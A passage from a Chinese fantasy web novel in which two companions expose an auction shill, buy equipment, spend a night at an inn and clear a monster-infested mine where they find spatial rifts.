只有少数的那么一两个人对这块“月光石”感兴趣,有些蠢蠢欲动。
这几个人是老板找的托?这未免也太明显了吧?
江小鱼在心里问:“薇尔,你能感应到月光石吗?”
薇尔的声音幽幽响起:“没有,那大概只是块普通的魔石。”
果然……
那个月光模拟估计就是老板提前用魔法道具准备的骗局。
老板还在吆喝:“八千金币!还有没有更高的?”
江小鱼举起手,抢在被老板和抬价者哄住的想买月光石的人前面大喊:“我出八千五!”
人群安静了一瞬,疑似是托的人又喊:“九千!”
江小鱼:“九千五!”<
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托:“一万!”
江小鱼:“一万五!”
托:“两万!”
江小鱼忽然把手放下来,笑了笑:“我不要了。”
那人愣住:“你不加了?”
江小鱼:“看你这么想要就让给你了~”
“恭喜你啊,两万金币,这月光石归你了~”
那人的脸都僵住了,脸色比吃了苍蝇还难看。
围观的人群里有人噗嗤笑出声。
老板的笑容也僵住了,然后干咳了一声:“这位客人,您不买就别捣乱了。”
江小鱼:“我没捣乱啊,只是我的经济实力不允许,钱没带够而已。”
“而且您这石头这么珍贵、这么稀有,两万金币卖给他,他简直赚大了!”
他回头看了一眼那个人:“是吧?这位大哥?”
那人张了张嘴,说不出话。
人群里有人窃窃私语。
仅有的那么一两个对月光石感兴趣想要出价的人也一脸失望和愤怒。
“原来是托啊!差点被骗了!”
江小鱼转身挤出人群,走回沧溟旁边。
身后传来嘈杂的声音,有人骂骂咧咧地离开,有人还在围观尴尬的老板和脸色铁青的托,也有人笑着摇头:“这托当的也太明显了。”
“走吧。”江小鱼叹了口气,“这月光石是假的。”
沧溟看着他:“什么时候知道的?”
江小鱼:“一开始就猜到了,这老板虽然挺会哄人的,但是那演技在我眼里还是差了那么一点。”
江小鱼笑了笑,捏着大拇指和食指对沧溟比了个大小:“呐,就这么一点,真是好悬骗过我。”
沧溟看着江小鱼勾了勾嘴角。
江小鱼又叹了口气:“哎,我还以为真有月光石呢,白高兴一场。”
两个人往镇子口走去,打算离开镇子去精灵旧地看看。
走到镇子口,看见旁边的公告栏附近围了很多人。
江小鱼的好奇心又被勾了起来,他拉着沧溟往公告栏那边走去。
江小鱼挤过人群,挤到了最前面。
看见公告栏上的内容,他兴奋地对旁边的沧溟说道:“这下有法子还你钱了,说不定还能大赚一笔!”
13. 我也想靠自己啊
公告栏上最大最为醒目的一栏。
「紧急委托」
近日,霜石镇北矿洞出现不明魔物,已有多名矿工遇袭受伤,矿洞被迫封闭。镇商会多次派人探查未果,特招募勇者入洞剿灭魔物。
委托地点:霜石镇北矿洞
酬劳:五十万金币及一块月光石
有意者请至镇中心广场东侧商会二楼详询。
霜石镇商会
会长埃尔德里克
江小鱼看向沧溟,露出一抹狡黠的笑容:“怎么样?去试试?”
沧溟:“嗯。”
接着,江小鱼直接“唰”地一下撕下了告示,拉着沧溟去了霜石镇商会找委托人。
商会二楼办公桌前坐着一个中年男人,正一脸愁容地批着文件。
抬眼见江小鱼手中攥着告示,顿时眼前一亮。
“你们要接这个委托?!”埃尔德会长兴奋地抓住江小鱼的手腕。
江小鱼默默地把埃尔德的手扒拉下去,偷偷观察了一下沧溟的神色。
不对啊,我看他干嘛?
“那个,会长,你先冷静一下。”
埃尔德会长尴尬地笑了两声:“咳咳,不好意思,我太激动了,言归正传。”
“矿洞里的魔物已经伤了好几个人了,现在没人敢进去。耽误了采矿进度不说,搞得矿工们也提心吊胆的。”
江小鱼:“那……就没有其他人来尝试接这个委托吗?”
埃尔德会长唉声叹气道:“没有,矿洞里的魔物力量强悍,有些人还没到矿洞里面就被逼退了,你们是第一个来接这个委托的。”
“你们要是能完成这个委托,如告示所说,五十万金币加一块月光石。”
埃尔德会长从抽屉里取出一块石头,放在了办公桌上。
这块石头还没有半个拳头大,泛着淡淡的银白色光芒。
江小鱼托着腮,疑惑地盯着那月光石看来看去:“这就是月光石?”
刚刚经历过一场骗局,实在是难以让人轻易相信。
“对,从精灵族那边流出来的。”埃尔德会长又叹了口气,“本来想留着当传家宝的,只不过现在矿洞的事情更紧急。”
江小鱼在心里问:“薇尔,你能感应到月光石吗?”
薇尔:“能,这块是真的。”
江小鱼顿时恢复了神采,接着问会长:“那矿洞里的魔物长什么样?有多少魔物?”
埃尔德会长摇了摇头:“不清楚,据活着回来的矿工所说,只看得到几道黑影,等回过神来,身边的矿工都已经倒在地上,死了。”
江小鱼看了沧溟一眼,又回头看向会长:“这么离谱?”
埃尔德会长:“是啊。”
江小鱼:“方便问一下活着的矿工所在位置吗?我们想打听一下具体情况。”
埃尔德会长思索了一下:“你们想知道的话,可以去镇西找布朗先生,他在矿洞干了十年,出事的那天他也在场。”
江小鱼和埃尔德会长道谢后,买了两瓶恢复药水,拉着沧溟去镇西找布朗先生。
江小鱼把恢复药水递给布朗先生:“你好,布朗先生,请问可以跟我们讲一下那天到底发生了什么吗?”
布朗先生接过药水沉默了一会儿,回忆起当天的事情,表情无法控制地露出恐惧的神色。
布朗先生:“那天,我们在矿洞深处挖矿,挖了一会儿之后,洞里突然传出来奇怪的声音。”
江小鱼:“什么声音?”
布朗:“说不上来,像是某种动物的叫声,但是声音不大,不容易发现。”
“听到叫声之后,我们带着的灯全灭了,只剩下一片黑暗,什么都看不见,只听到身边的人同时发出了惨叫声。”
“等灯再亮的时候,好几个人都倒在了地上,浑身是血!”
他顿了顿,叹了一口气,看向自己的伤:“我跑得快,只伤了腿,其他人都……”
江小鱼:“有看见那魔物长什么样吗?”
布朗:“看不清,只看见一团巨大的黑影,和一双发着红光的眼睛。”
说到这里,江小鱼感觉自己后背发凉,打了个寒颤。
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>从布朗先生家出来之后,江小鱼没有急着去矿洞,而是先去了镇上的武器防具店。
沧溟疑惑地看他:“来这做什么?”
江小鱼掂了掂手里的短刀,对沧溟说:“来这当然是来买武器和防具的啊。”
沧溟皱了皱眉:“我的意思是——”
江小鱼又举了举手里的盾,打断了沧溟的话:“我知道你想说什么,我没有不相信你的意思。只是……我也不能事事都依靠你啊,我也想靠自己,而不是躺赢。”
沧溟沉默了一会儿,走到了他旁边:“嗯。”
江小鱼对他笑了笑:“你帮我挑挑?”
沧溟手一指,覆着紫光的一套中型甲飘到了江小鱼怀里。
“这套适合你,轻便但结实,防御力适中。”
沧溟又往另一个方向一指,一把单手剑和一柄中型圆盾飘到了江小鱼面前。
沧溟:“这个搭配操作简单,适合初学者。”
江小鱼惊叹道:“不愧是你,这就帮我选好了!”
“老板~结账!”
老板应答道:“哎!来嘞!”
老板一一清算道:“哎呦,客人您真有眼光!”
老板指着那套中型甲说道:“这是由著名的矮人锻造师使用特制秘银与地下晶蝎的背甲复合锻造而成,轻薄如蝉翼,硬度却胜过钢板,价值五千金币!”
老板又指着那柄单手剑说道:“这把剑是由上好的陨铁和凝炼出的‘月华’锻造而成,对暗影魔物有额外克制,削铁如泥,价值三千金币!”
老板最后指着那个盾说道:“这盾更是厉害!取材自深海巨贝的贝壳,经极致的炼金术硬化,极其坚固,还有概率触发隐形效果,价值八千金币!”
老板最后笑着对江小鱼说:“客人,你们真是好运啊,这些装备可是最后一套了,共一万六千金币,请问……哪位付款?”
江小鱼听得瞠目结舌,老板每说一句,嘴就张大一点,下巴都快掉到地上了。
江小鱼把自己的下巴手动合上,转头看向沧溟:“可否垫付一下?”
14. 暮光之吻
沧溟抬手从戒指里取出一块拳头大小的紫色晶石,放在了桌上。
那紫色晶石的内部和表面都有暗光在流动。
老板在看清沧溟拿了什么出来之后,笑容都僵住了。
他拿起那块晶石看了又看,手有些发抖:“这、这是高阶魔晶?!”
沧溟:“够不够?”
老板点头如捣蒜:“够!太够了!”
沧溟没有再理会老板,直接转身向外走了。
沧溟看向江小鱼:“还有什么要买的?”
江小鱼思索了一下:“买药。”
沧溟疑惑:“药?”
江小鱼理所当然道:“对啊,下副本不带药,那不是送死吗?”
说着,江小鱼拉着沧溟进了镇子上的杂货铺。
他在货架前转了一圈,挑了几瓶治疗药剂和提升力量的魔力药水。
回血回蓝必备的基础药水,得拿着。
江小鱼偷偷瞄了沧溟一眼:也不知道沧溟需不需要?不管了,先拿着备用。
又拿了两瓶感知药剂,用来提升视力和感知力。
毕竟矿洞里面黑灯瞎火的,什么也看不见,有这个多几分胜算。
还有敏捷药水,用来提升反应速度。根据矿工的说辞,魔物的攻击速度一定很快。
还有……在矿洞生存的魔物,属性有可能与土有关,与土相克的是……水!
江小鱼:“老板,你们这里有水属性的东西吗?”
老板:“水属性?有的有的,你看你需要什么样的。”
老板说着从货架上拿了几样东西放在桌上给江小鱼展示。
“最常见的水属性附魔药水,使用之后会让武器具有水属性的附魔效果,持续时间三分钟。”
江小鱼:“旁边这个戒指是做什么用的?”
老板:“这戒指戴在手上之后,即使不会使用魔法,也能从手中凝出水球来攻击。”
江小鱼眼睛一亮:“这个好!就这些了,老板你看这些多少钱?”
老板:“一共一千六百金币。”
沧溟爽快地丢给老板一块相比上一个小块点的魔晶石,走出了门。
江小鱼把东西收好,跟了上去。
老板:“谢谢惠顾。”
江小鱼满意地掰着手指头清点着物件,然后看向沧溟:“这下万事俱备了!咱们什么时候出发?”
沧溟:“明天。”
江小鱼注意到今天确实比较晚了,从店里出来后天已经黑了。
江小鱼:“也是。那咱们找个旅店?”
沧溟:“嗯。”
两人在镇子上找了家旅店。招牌上写着“银月旅店”,门面不是很大,但看起来非常干净整洁。
推门走进去,一楼是个小酒馆。
几张木桌散落在厅里,靠墙的吧台上摆着几排酒瓶,壁炉里的火烧的正旺。
有七八个人坐在桌前,有的埋头吃饭,有的举着酒杯聊天。空气中弥漫着麦酒和烤肉的香气。
柜台后面站着一个女人。
红色长发散落在肩上,带着点自然卷。深绿色的眼睛,眼尾微微上挑,右眼下方有一颗小小的泪痣。整个人看起来精致又有气质。
她正拿着魔法账簿记账,听见动静抬起头,目光在两个人身上转了一圈。
“住店?”
沧溟:“嗯。”
“一间还是两间?”
江小鱼:“两——”
沧溟:“一间。”
女人把手撑在柜台上,歪头看了他们一眼,微微勾起了嘴角。
随后,她从抽屉里取出一把铜钥匙,上面挂着个小木牌,木牌上写着房间号。
“热水去走廊尽头打,早饭七点开始。”她把钥匙推到江小鱼面前,“饿了就下楼吃饭,一楼酒馆营业到晚上十二点。”
江小鱼接过钥匙:“谢谢老板。”
两个人在房间里休息了一会,江小鱼的肚子突然发出了抗议。
他从床上爬起来:“下去吃点东西吧?”
沧溟:“嗯。”
楼下比傍晚时更热闹了,几张桌子都坐满了人。
壁炉里的火烧的更旺了,把整个厅堂映得暖烘烘的。
江小鱼找了个角落的位置坐下,沧溟坐在了他对面。
一个伙计走了过来,报了今日的菜品。
江小鱼点了几串烤肉,一份烤面包,犹豫了一下,指着邻桌的酒杯:“那个是什么?”
伙计:“麦酒,自家酿的,客人要不要来一杯?”
江小鱼正要点头,老板端着一只酒杯走过来,放在他面前。
酒液是琥珀色的,杯壁凝着一层细密的水珠,闻起来有股果香。
“尝尝这个。”她的声音带着点笑意,“我自己调的,一般人想喝还喝不到呢。”
江小鱼看了一眼那杯酒,又看了看老板。
“这酒叫什么名字?”
“暮光之吻。”
“暮光之吻?”江小鱼又念了一遍,“名字还挺好听的。”
“当然。”老板靠在了旁边的柱子上,手指轻轻点了点杯壁,“这酒味甜,果味浓,酒精味不大,适合没怎么喝过酒的人。”
江小鱼端起酒杯闻了闻,确实没什么酒味,只有水果的清香。
他抿了一口,这酒甜丝丝的,带着点微酸,咽下去之后,舌尖上还残留着淡淡的果香。
“好喝。”
老板笑了:“慢用。”
老板走后,江小鱼又喝了一大口。
这玩意儿比果汁还好喝,根本不像酒。
他抬头想跟沧溟说这个好喝,却发现沧溟正看着那杯酒,表情有点微妙。
“怎么了?”
沧溟没有应答,江小鱼也没有在意,又喝了几口。
烤肉上的很快,外焦里嫩,咬一口满嘴香。江小鱼一边吃一边听旁边桌的人聊天。
“……精灵族那边封了旧地,谁也不让进。”
“可不是嘛,听说精灵族自己人出不去,也不让外人进去。现在根本没人能见到精灵族。”
“到底出了什么事?”
“谁知道呢。”
“那月光石呢?”
“自然也被精灵族一起封了。”
“啧,可惜了,月光石可是好东西。”
“谁说不是呢。”
另一个人压低了声音:“你们听说了吗?精灵王和魔王好像认识。”
“真的假的?”
“不知道,听人说的。说是很久之前的事了,没人知道真假。”
“那魔王……你见过
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吗?”
“我?我哪见得到。”那人打了个寒颤,“听说那位几百年不出魔宫,偶尔出来一次,远远看一眼都让人腿软。”
“有这么夸张?”
“你不信?上次有个商队路过北境,远远看见一道黑影从天上掠过,那个领队直接跪了,说是被什么压得喘不过气。”
“那是魔王?”
“是吧。反正这地界能那样的也没别人了。”
江小鱼低下头,把脸埋进臂弯,肩膀一抖一抖的。
他不敢笑出声,憋笑憋的要憋出内伤了。
谁敢信,被议论的那位看一眼就让人腿软喘不上气的堂堂魔王就坐在这家酒馆,还和他一起吃饭喝酒?
沧溟正端着酒杯,面无表情,不知道是假装没听见,还是压根不在乎他们在议论什么。
过了一会,江小鱼调整好表情,重新坐了起来,继续喝那杯酒。
烤肉吃了大半,酒也已经见了底。
江小鱼忽然觉得头有点晕晕的。
沧溟见江小鱼脸有些发红,眼神飘忽,他放下了酒杯。
“你喝多了。”
江小鱼摇了摇头:“没有,我清醒的很。”
“我才喝了一杯啊,怎么可能喝多。”
“你不知道,我的酒量超好的,你都不一定比得过我。”
话音刚落,他觉得地板好像转了一下。他扶住了桌子,眨了眨眼,地板还在转。
他摇了摇头,看向对面的沧溟,这次连沧溟也开始晃了。
“我好像……突然有点眼花。”
沧溟站起来,走到了他旁边。
江小鱼也想站起来,想证明自己没喝多。
结果刚站起来,腿就发软,直接往旁边倒。
沧溟伸出手,揽住了他的腰,把他从椅子上捞起来。
江小鱼靠在他身上,张嘴想说“我自己能走”,但是嘴已经不听使唤了,只发出一声含混的“唔”。
沧溟一只手揽着他的腰,另一只手拿起桌上的钥匙,抱起他往楼上走。
经过柜台的时候,江小鱼迷迷糊糊看见老板靠在柜台上,手里端着酒杯,正看着他们。
她歪了歪头,目光从沧溟脸上移到江小鱼脸上,又移到沧溟揽着江小鱼腰的那只手上。
她意味深长地笑了笑:“夜安。”
沧溟“嗯”了一声,抱着他继续上楼。
沧溟把江小鱼轻轻放到了床上,江小鱼的手却还攥着沧溟的衣领不放。
他低头看着他的脸——那张脸陷在枕头里,眉头微微皱着,嘴唇翕动了一下,不知道在嘟囔什么。
沧溟把他的手轻轻地从衣领上掰开。
江小鱼的手指松开的时候,在他手背上划了一下,留下了一点温热的触感。
沧溟顿了一下,他站了一会,把被子盖到了江小鱼身上。
江小鱼往被窝里缩了缩,眉头舒展开来。
沧溟看着他的脸。
酒意把脸颊染成了淡粉色,睫毛微微颤着。
安静,毫无防备。
和平时叽叽喳喳、吵吵闹闹的样子一点也不一样。
沧溟收回了目光,转身去倒了一杯水,放在了床头。
他站在窗前,看着窗外的月光。
暮光之吻……
15. 游戏里不是这样的!
第二天,江小鱼睁开眼,感觉头疼的像有人在里面敲鼓,一阵一阵的。
他揉了揉太阳穴,盯着天花板看了几秒,脑子里面一片空白。
江小鱼努力地回想了一下。
只记得……昨晚喝了一杯酒,听到别人讨论精灵族和魔王,突然看到地板在转,然后……就没有然后了。
断片了?
有史以来第一次喝酒,没想到自己竟然是一杯倒。还吹自己酒量好,丢人丢大了。
等一下,那他是怎么回来的?
他猛地坐起来,发现自己穿着昨天的衣服,躺在旅店的床上,被子也盖的好好的。
床边还放着一杯水。
沧溟站在窗边,听见动静回头看他。
“醒了?”
江小鱼“嗯”了一声,端起那杯水喝了一口。
是蜂蜜水,甜甜的、温温的,喝下去胃里舒服了一点。
他偷偷看了沧溟一眼,注意到沧溟衣领上有一个明显的褶皱,像是被人抓过一样。
等一下,不会吧?
沧溟肯定不会闲的没事揪自己领子,那就只有可能是他……
不是,他揪了沧溟的衣领?
不会……
他又看向沧溟,那人站在窗边面无表情,昨晚应该什么也没发生吧?
不对,那人本来就没有多丰富的表情,一般还看不出来。
江小鱼的脑子从一片空白变成一团乱麻。
沧溟:“收拾一下。”
“哦、哦。”
江小鱼爬起来,洗了把脸,把装备都穿戴好。他深吸了一口气,跟着沧溟下了楼。
老板靠在柜台上,手里端着一杯茶,不知道在看什么。
听见动静抬起头,目光落在江小鱼脸上,微微翘起了嘴角。
“醒了?”
江小鱼:“嗯。”
“昨晚睡得还好吗?”
她的声音低沉,尾音微微上扬,带着点明知故问的意思。
江小鱼:“还、还好。”
老板看了沧溟一眼,又看向江小鱼,笑容更深了一点。
“暮光之吻的后劲,可不是一般人能扛得住的。不过——”她顿了顿,手指点了点柜台,“有人扛就行。”
江小鱼:“……”
???
有人扛就行?什么意思?怎么感觉话中有话呢?
沧溟把房钱和钥匙放在柜台,转身就往外走。
老板:“下次再来啊~”
江小鱼赶紧跟上去。
下次可不敢来了……
两人往矿洞的方向走去。
刚开始江小鱼穿着甲觉得有些重,慢慢地逐渐习惯了甲的存在。
他突然想起老板的话,脸颊和耳朵有点发烫。
犹豫了半天,他终于支支吾吾地问出了口:“沧溟,那个……就是……昨晚……我们……”
沧溟看了他一眼,就知道他误会了:“没有。”
“啊?”
沧溟:“什么都没有。”
“哦……”
江小鱼松了口气,但是不知道为什么,又有一点空落落的感觉。
“那我是怎么上去的?”
沧溟顿了一下:“你自己上去的。”
江小鱼不敢相信地重复了一遍:“我自己上去的?”
沧溟:“嗯。”
我醉成那样都能自己走吗?我真厉害。
江小鱼半信半疑,总觉得哪里不对,又说不上来。
矿洞在镇子北边,离得不算太远,走了一个小时就到了。
入口黑漆漆的,像一张深渊巨口,随时等着猎物自己走进去。
洞口有被破坏的痕迹,地上有几处干涸的血迹。
空气中弥漫着铁锈与腐土味,其中还混杂着血腥味。
江小鱼咽了咽口水,下意识握紧了手中的长剑。
沧溟走在他前面,掌心亮起一道暗光,照亮了洞口。
“跟紧。”
江小鱼点了点头,跟在他身后,与他一起走进了那片黑暗。
矿洞里比想象中更深。甬道弯弯曲曲,两侧的岩壁湿漉漉的,偶尔有水滴落下来,在安静的洞里发出清脆的回响。
沧溟走在前面,掌心那团暗光稳定地亮着,照亮前路。江小鱼紧紧跟在他身后,一只手握着盾把,另一只手握着剑柄,小心翼翼地观察周围。
走着走着,地上和墙壁上都开始出现奇怪的抓痕。
江小鱼蹲下来仔细看了看抓痕——很深,三道并行,像是某种大型生物。
“矿工说它们速度快,攻击力强。”他站起来,“我们得小心。”
沧溟“嗯”了一声,脚步放慢了一点,让江小鱼离他更近了些。
越往里走,空气越冷,光线越暗。
又走了一段路,沧溟忽然停了下来。
江小鱼:“怎么了?”
他低头一看,呼吸一滞,一股反胃感瞬间涌了上来。
四处都是七零八落的尸体残肢。断胳膊断腿都还算正常,有的手指、内脏、眼珠全都散落在地上,一个不注意就可能会踩爆浆。
有的整体还算完整,但有一些部分像是被咬了一口但不敢兴趣,随口吐在了一边,而身体上裸露着内脏和白骨。
还有的,只一颗头在一片混乱中静静地待着,用那空旷漆黑带着一丝腐烂的眼眶看着你。
“呕——”
江小鱼没抗住这股强烈的反胃感,在一旁干呕了好几声。
“这也太——呕——”
“对不起,但是我实在忍不——呕——”
沧溟见江小鱼的反应,下意识顺了顺他的背。
江小鱼满眼含泪地看着沧溟:“谢谢你……”
沧溟捂住江小鱼的眼睛,搂着他的腰,带他越过了这一片狼藉。
江小鱼回过身,闭着眼睛跪在地上往下一拜:“刚才的行为多有冒犯,还望各位大人有大量。”
然后江小鱼站起来转过身,迅速拉着沧溟继续往前走。
江小鱼感觉越走越不对劲。
他打了个寒颤:“你有没有感觉到,这里的风好像越来越大了?”
按理来说,都走这么深了,不可能有风啊。
沧溟:“不是风。”
江小鱼屏住呼吸,忽然感觉到黑暗里有什么东西在动。他听见了很轻的呼吸声,还有爪子摩擦岩石的声音。
魔物,不止一只。
沧溟:“站在我身后。”
江小鱼往他身后挪了一步,握紧了圆盾和剑。
黑暗中,一双发着红光的眼睛亮了起来。
紧接着,是第二双、第三双……
魔物忽然从暗处窜了出来——形似蜥蜴,但比蜥蜴大几十倍,浑身漆黑,四肢粗壮,爪子锋利。
第一只直扑沧溟,速度快的只看见一道黑影一闪而过。
沧溟抬手,一道暗光自沧溟手中炸开,魔物被震飞,重重地撞在岩壁上,发出一阵嘶叫。
更多的魔物从暗中四面八方地涌出来。
沧溟出手很快,一掌拍飞一只,尾巴横扫又打倒两只。
有一只从他们后方窜了出来,直接朝江小鱼扑过来。
江小鱼顿时脑子一片空白,但身体比脑子先动——他先是侧身避开,然后用圆盾挡在身前。魔物的爪子拍在盾上,发出一声闷响。
他被撞得后退了几步,手臂被震得发麻。
好大的力气!
魔物又扑了过来,这次的速度比刚才更快。
他举起自己的手,利用戒指,手中迅速凝聚出了水球,然后将水球砸向魔物。
水球精准地砸到了魔物身上,但水球只减缓了那只魔物的速度,没有造成多大的实
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质性伤害,魔物依然朝着他扑过来。
这也太坑了吧?!
完了!来不及躲了!
一只手从旁边伸过来,抓住了他的后领,把他往后一拽。
魔物扑了个空,“砰”的一声撞在了墙上。
沧溟挡在他前面,抬手一道暗光,直接把魔物击飞。
沧溟:“剑。”
江小鱼低头看自己的手——剑握在手里,但刚才根本没想起来用。
他趁着沧溟挡攻击的空档,迅速拿出感知和敏捷药水,灌了下去。然后深吸了一口气,重新握紧剑柄。
又一只魔物扑过来,他举起圆盾挡住了攻击,同时将剑迅速刺了进去。剑没入了魔物的身体,温热的液体溅到了他手上。
魔物嘶叫着挣扎,他又往魔物上补了好几剑,这才不动了。
江小鱼喘着粗气,手控制不住的发抖。
游戏里不是这样的!
他想起自己打游戏时的操作——走位、卡视角、等CD。但在这个世界里,没有读条,没有提示,只有本能。
江小鱼举着盾和剑又刺死了几只扑向他的魔物。
沧溟扫了一眼剩下的魔物,捏了个诀。暗光瞬间炸开,剩余的魔物都被震翻在地,没了动静。
矿洞里终于安静了下来。
江小鱼靠着岩壁滑下来坐在地上,喘着气,腿有点软。
沧溟:“第一次。”
是啊,这是他第一次正儿八经的战斗。
真是想不通圣教为什么把他当做救世主,明明他只是个咸鱼啊!
沧溟向他伸出手:“还能走吗?”
江小鱼点了点头,拉住了沧溟的手,借力站了起来。
“谢了。”
矿洞还没有探查完,两人继续往前走。
地上开始出现的不止人的尸体,还有魔物的尸体。
好在这里的人的尸体相对前面那些要完整得多。
人的尸体有冒险者的,也有矿工的,他们的身体略微扭曲,脸上带着惊恐的表情。
倒在地上的魔物的尸体,有的像刚才打的魔物,有的体型更小、爪子更锋利,死状也不一样。
江小鱼蹲下来看:“这些魔物……不是同一种?”
“它们竟然会互相残杀?”江小鱼抬头看向沧溟。
沧溟蹲下,查看小型魔物的尸体。抓痕很深,像是那些大型魔物造成的,和之前在地上和石壁上看到的抓痕一致。
但……
沧溟的眉头皱了起来,表情看起来比较严肃。
“怎么了?”
沧溟站起来:“这两种魔物,我都没有见过。”
江小鱼愣了一下,也跟着站起来。
什么?沧溟活了这么多年,还有他没见过的魔物?
两人继续往前走,江小鱼直觉告诉他事情不简单。
忽然,江小鱼感觉到黑暗中有什么东西在动。
江小鱼默默地握紧圆盾和剑。
一道黑影突然从暗处窜了出来,速度快的只能看见残影。
这魔物有着幽蓝色的眼睛,看上去像鬼火。
沧溟抬手,暗光炸开,黑影被震退,落在了不远处,发出嘤嘤的声音。
它没有立刻扑过来,而是在黑暗中游走。
然后,江小鱼忽然感觉脑子嗡了一下。眼前的画面开始扭曲,岩壁在晃动,沧溟的身影也变得模糊。
“江小鱼。”
沧溟冰冷而严肃的声音清晰的钻进他的脑海中。
江小鱼猛地回过神,发现自己不知不觉往前走了两步,盾牌和剑都垂在了身侧,一副毫无防备的样子。
“我……我刚才怎么了?”
“精神干扰,”沧溟的目光盯着黑暗深处,“它在试探你。”
江小鱼顿觉后背发凉,重新举起了手中的盾和剑,打起了十八分的精神。
16. 这魔物可太魔物了
黑暗中,幽蓝色的眼睛逐个亮起。
一双、两双、三双……
它们在四周不断地游走,时隐时现。
忽然,有一只从左边扑来,沧溟抬手震退。另一只从右边扑来,江小鱼用盾挡住,被撞得酿跄了两步。
又一只从头顶扑来,沧溟的尾巴卷住江小鱼的腰,把他带到一边,亮起暗光将那只魔物击退。
江小鱼感觉自己有点头脑发昏,眼皮越来越重,眼前的画面也越来越模糊。
不对……又是精神干扰……
江小鱼猛地摇了摇头,颤抖着手把剑举起来,往自己手心划了一道。
“嘶……”
好疼。
他立刻被疼痛刺激的清醒过来。
沧溟注意到江小鱼的动作:“你——”
江小鱼:“没事,疼痛会让我保持清醒。我不会拖你后腿的。”
两个人背靠背,对付着从四面八方扑来的魔物。
江小鱼用盾挡,用剑刺,越来越能把握格挡和进攻的节奏。
但他注意到,魔物的攻击频率变低了,更多聚在周边加快速度游走。
忽然,剩下的魔物同时消失在黑暗中,矿洞里安静下来。
但仔细听,耳边还有若隐若现的嘤嘤声。
江小鱼警惕着周围:“它们……是隐形了?还是撤退了?”
沧溟静静地盯着黑暗深处。
江小鱼感觉到,从那些魔物消失的地方,有一股属于那些魔物的气息和能量,正往一处汇聚。
一道蓝色的激光从暗处向江小鱼的方向射出。
江小鱼像是提前感知到危险一般,瞬间做出反应,躲开了那道激光。
江小鱼有些惊讶,按理来说,感知药剂和敏捷药剂到现在应该已经失效了才对。
随后,从黑暗中飘出一个比刚才的魔物体型大数倍的魔物。
魔物表面流动着暗紫色的纹路,除了两双大一点的眼睛,身上还分布着无数幽蓝色的光点。
江小鱼愣了一下:“这是……Boss的第二形态?怎么还合体了?”
魔物发出一阵低沉的嘶吼声,江小鱼感觉到一股压迫感。
沧溟抬手,暗光凝聚,精准的击中了魔物。
魔物晃了几下,看起来没受到什么伤害的样子。身上的暗紫色纹路闪了闪,又重新飘了起来。
什么意思?免疫魔法伤害?
那沧溟不就……
江小鱼瞬间感觉到巨大的压力,立马紧绷了起来。
魔物伸出爪子向沧溟抓过去,沧溟侧身避开,尾巴横扫,直接将魔物击飞撞到岩壁上。
好有力的尾巴!
沧溟抬起手,暗紫色的光转变为深红色,像是换了一种能量形态。
魔物挣扎着起来,重新向沧溟扑过去。
沧溟握紧拳头,一拳打在魔物身上蓝光有裂纹的地方。
江小鱼冲过去用盾替沧溟格挡住了魔物的爪击。
“吼——”
魔物嘶吼着退开,它身上的那颗幽蓝色光点彻底碎裂,绿色的液体自魔物身上的裂缝处流出。
“它的弱点就是身上这些蓝色光点!”江小鱼兴奋道。
两人开始配合进攻,江小鱼一边举着盾格挡魔物的攻击,一边寻找机会用剑刺向魔物的弱点。沧溟精准打击,一拳一脚又快又狠地击打在魔物的蓝色光点上。
魔物身上的蓝色光点尽数碎裂,绿色液体不断地从魔物身上流出,最终魔物“嘭”的一声,爆裂而亡,碎片和绿色液体溅得到处都是。
“……”
江小鱼看着自己和沧溟浑身都被溅满了绿色液体的凄惨场面,无言以对。
他举起手闻了闻。
“yue——”
“也没人告诉我魔物能死的这么恶心啊!!”
但是好歹魔物都解决了……
一时也不知道是该高兴还是难受。
两人继续往深处走了一段,发现这里也有两种魔物的尸体。
看来,这两种魔物为了争夺地盘打的很凶啊。
除此之外,岩壁上有两处巨大的裂缝。裂缝像是被撕裂的夜空,泛着暗紫色的光,并向上下两端延展。
“这是什么?”江小鱼凑了过去。
沧溟沉默了很久:“裂缝。”
“空间裂缝。”沧溟微微皱眉,“这些魔物,可能是从裂缝中诞生的。”
江小鱼:“你是说……这裂缝在往外‘生产’魔物?”
沧溟:“嗯。裂缝恐怕不止这一处。”
江小鱼一脸惊恐:“什么?!这样的裂缝还不止这一处?”
这异世界恐怕要迎来大变了……
江小鱼突然想起什么:“薇尔,这些魔物,你有印象吗?”
薇尔:“没有。”
沧溟说从来没有见过这种魔物,薇尔对这些魔物也没有印象……
难道是……新物种入侵?
两人继续往前走了一段,没有发现更多魔物。到了甬道尽头,只有一面岩壁,什么也没有。
“就这?”江小鱼有点失望。
沧溟转身往回走:“魔物已肃清,回去了。”
江小鱼跟了上去,现在他只想赶快回去清理掉身上这些黏糊糊的恶心液体。
出洞时,天已经快黑了,两个人回到镇上,直接去商会找委托人交任务。
埃尔德会长看见他们回来,眼睛顿时从黯淡无光变得亮了好几倍。
只是看见他们这幅样子有些疑惑:“你们这是……?”
江小鱼尴尬地笑了笑:“那个,说来话长。”
埃尔德会长:“真是辛苦你们了。怎么样?魔物清除了吗?”
江小鱼点点头:“清除了,但矿洞里……最好先别让人进去。”
埃尔德愣了一下:“为什么?”
江小鱼简单将矿洞里的状况和埃尔德会长说了一下。
“……就是这样,可能还会有魔物从那些裂缝里出来,很不安全。”
埃尔德会长:“原来是这样。”
埃尔德没有再多问,他从抽屉里拿出一个布袋和一块发光的石头,放在了桌上。
“这是酬劳,五十万金币,还有月光石。”
江小鱼接过月光石,捧在手心里看了又看。石头只有拇指大小,泛着柔和的银白色光芒。
“这是从精灵族那边流出来的?”他问。
埃尔德:“对。”
江小鱼把月光石收好,又问:“精灵族那边……到底出了什么事?为什么封地?”
埃尔德:“我也不清楚,这些事可能只有精灵族自己知道了。”
他顿了顿:“你们要去精灵族旧地?”
江小鱼点点头。
埃尔德犹豫了一下,压低声音:“那你们可要小心点。虽然精灵族旧地封了,但是周边也是危险重重。”
江小鱼也跟着压低声音问:“怎么说?”
埃尔德:“听说啊,有人正在不计代价四处寻找精灵族,还有人觊觎精灵族的月光石。总之,那附近不太平。”
“谢谢。”江小鱼说。
两人走出商会,天已经完全黑了。
两人回到旅店的时候,老板正倚着柜台喝酒。
她抬头看见他们,晃了晃自己手中的酒杯,目光在两个人身上转了一圈。
衣服上全是黑色的脏污和绿色的粘液,头发上也有,脸上还有干涸的血迹。
老板轻笑了一声:“怎么这副样子?”
江小鱼一脸难受:“可别提了……”
老板从柜台下面拿了两条干净毛巾递过来。
“热水烧着呢,上去吧。”
江小鱼接过毛巾,说了声“谢谢”,跟沧溟一起上了楼。
关
